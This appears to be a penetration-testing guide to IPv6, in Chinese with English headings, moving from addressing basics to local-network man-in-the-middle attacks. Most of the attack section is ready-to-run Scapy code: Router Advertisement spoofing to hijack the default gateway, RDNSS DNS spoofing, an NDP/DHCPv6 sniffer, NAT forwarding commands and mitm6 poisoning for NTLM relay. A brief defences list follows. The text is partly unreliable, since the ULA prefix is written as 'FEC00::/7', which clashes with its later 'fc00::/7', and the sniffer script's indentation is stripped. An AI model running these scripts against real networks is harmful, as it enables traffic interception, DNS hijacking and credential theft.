# Pentesting IPv6

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## IPv6 基础理论

### 网络

IPv6 地址的结构旨在增强网络组织和设备交互。IPv6 地址分为：

1. **网络前缀**：前 48 位，确定网络段。
2. **子网 ID**：接下来的 16 位，用于定义网络内的特定子网。
3. **接口标识符**：最后 64 位，唯一标识子网内的设备。

虽然 IPv6 省略了 IPv4 中的 ARP 协议，但引入了 **ICMPv6**，其主要消息有两个：

- **邻居请求 (NS)**：用于地址解析的组播消息。
- **邻居通告 (NA)**：对 NS 的单播响应或自发公告。

IPv6 还包含特殊地址类型：

- **回环地址 (`::1`)**：相当于 IPv4 的 `127.0.0.1`，用于主机内部通信。
- **链路本地地址 (`FE80::/10`)**：用于本地网络活动，不用于互联网路由。处于同一本地网络的设备可以使用此范围相互发现。

### IPv6 在网络命令中的实际使用

要与 IPv6 网络交互，可以使用各种命令：

- **Ping 链路本地地址**：使用 `ping6` 检查本地设备的存在。
- **邻居发现**：使用 `ip neigh` 查看在链路层发现的设备。
- **alive6**：用于发现同一网络上设备的替代工具。

以下是一些命令示例：
```bash
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0
```
IPv6 地址可以从设备的 MAC 地址派生，用于本地通信。以下是如何从已知的 MAC 地址派生链路本地 IPv6 地址的简化指南，以及 IPv6 地址类型和在网络中发现 IPv6 地址的方法的简要概述。

### **从 MAC 地址派生链路本地 IPv6**

给定一个 MAC 地址 **`12:34:56:78:9a:bc`**，可以按如下方式构造链路本地 IPv6 地址：

1. 将 MAC 转换为 IPv6 格式： **`1234:5678:9abc`**
2. 在前面加上 `fe80::` 并在中间插入 `fffe`： **`fe80::1234:56ff:fe78:9abc`**
3. 反转左侧的第七位，将 `1234` 改为 `1034`： **`fe80::1034:56ff:fe78:9abc`**

### **IPv6 地址类型**

- **唯一本地地址 (ULA)**：用于本地通信，不用于公共互联网路由。前缀： **`FEC00::/7`**
- **组播地址**：用于一对多通信。发送到组播组中的所有接口。前缀： **`FF00::/8`**
- **任播地址**：用于一对最近的通信。根据路由协议发送到最近的接口。属于 **`2000::/3`** 全球单播范围。

### **地址前缀**

- **fe80::/10**：链路本地地址（类似于 169.254.x.x）
- **fc00::/7**：唯一本地单播（类似于私有 IPv4 范围，如 10.x.x.x, 172.16.x.x, 192.168.x.x）
- **2000::/3**：全球单播
- **ff02::1**：组播所有节点
- **ff02::2**：组播路由器节点

### **在网络中发现 IPv6 地址**

#### 方法 1：使用链路本地地址

1. 获取网络中设备的 MAC 地址。
2. 从 MAC 地址派生链路本地 IPv6 地址。

#### 方法 2：使用组播

1. 向组播地址 `ff02::1` 发送 ping，以发现本地网络上的 IPv6 地址。
```bash
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
```
### IPv6 Man-in-the-Middle (MitM) Attacks

在IPv6网络中执行MitM攻击的几种技术包括：

- 冒充ICMPv6邻居或路由器广告。
- 使用ICMPv6重定向或“数据包过大”消息来操纵路由。
- 攻击移动IPv6（通常需要禁用IPSec）。
- 设置恶意DHCPv6服务器。

## Identifying IPv6 Addresses in the eild

### Exploring Subdomains

一种查找可能与IPv6地址相关的子域的方法是利用搜索引擎。例如，使用查询模式`ipv6.*`可能是有效的。具体来说，可以在Google中使用以下搜索命令：
```bash
site:ipv6./
```
### 利用 DNS 查询

要识别 IPv6 地址，可以查询某些 DNS 记录类型：

- **AXFR**：请求完整的区域传输，可能会揭示广泛的 DNS 记录。
- **AAAA**：直接查找 IPv6 地址。
- **ANY**：广泛查询，返回所有可用的 DNS 记录。

### 使用 Ping6 进行探测

在确定与组织相关的 IPv6 地址后，可以使用 `ping6` 工具进行探测。该工具有助于评估已识别的 IPv6 地址的响应能力，并可能帮助发现相邻的 IPv6 设备。

## IPv6 本地网络攻击技术

以下部分涵盖可以在 **同一 /64 段内** 执行的实际层 2 IPv6 攻击，而无需知道任何全局前缀。下面显示的所有数据包都是 **链路本地** 的，仅通过本地交换机传输，使它们在大多数环境中极为隐蔽。

### 系统调优以实现稳定的实验室

在处理 IPv6 流量之前，建议对您的设备进行加固，以避免被自己的测试所污染，并在大规模数据包注入/嗅探期间获得最佳性能。
```bash
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
```
### 被动 NDP 和 DHCPv6 嗅探

因为每个 IPv6 主机 **自动加入多个多播组** (`ff02::1`, `ff02::2`, …) 并使用 ICMPv6 进行 SLAAC/NDP，你可以在不发送任何数据包的情况下映射整个段。以下 Python/Scapy 单行代码监听最有趣的 L2 消息，并打印出带有颜色和时间戳的日志，显示谁是谁：
```python
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
```
结果：在几秒钟内生成一个完整的 **link-local topology** (MAC ⇄ IPv6)，而不会触发依赖于主动扫描的 IPS/IDS 系统。

### 路由器广告 (RA) 欺骗

IPv6 主机依赖 **ICMPv6 Router Advertisements** 进行默认网关发现。如果你注入伪造的 RA **比合法路由器更频繁**，设备将默默地切换到你作为网关。
```python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)
```
要在赢得竞赛后实际**转发流量**：
```bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
### RDNSS (DNS) 欺骗通过 RA

[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) 允许在 RA 中添加 **递归 DNS 服务器 (RDNSS)** 选项。现代操作系统 (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) 自动信任它：
```python
#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('--llip',required=True)
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
p.add_argument('--lifetime',type=int,default=600)
p.add_argument('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)
```
客户将**预先添加**您的DNS到其解析器列表中，直到给定的生存时间结束，这将允许完全的DNS劫持，直到值过期或您发送`lifetime=0`还原。

### DHCPv6 DNS欺骗 (mitm6)

与SLAAC不同，Windows网络通常依赖于**无状态DHCPv6**进行DNS。[mitm6](https://github.com/rofl0r/mitm6)自动回复`Solicit`消息，使用**广告 → 回复**流程，将**您的链路本地地址分配为DNS，持续300秒**。这解锁了：

* NTLM中继攻击（WPAD + DNS劫持）
* 拦截内部名称解析而不触碰路由器

典型用法：
```bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
```
### 防御

* **RA Guard / DHCPv6 Guard / ND Inspection** 在管理交换机上。
* 仅允许合法路由器的 MAC 发送 RAs 的端口 ACL。
* 监控 **不稳定的高频率 RAs** 或突然的 **RDNSS 变化**。
* 在端点禁用 IPv6 是一种临时解决方法，通常会破坏现代服务并隐藏盲点 – 更倾向于 L2 过滤。

## 参考文献

- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
- [mitm6](https://github.com/rofl0r/mitm6)
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)

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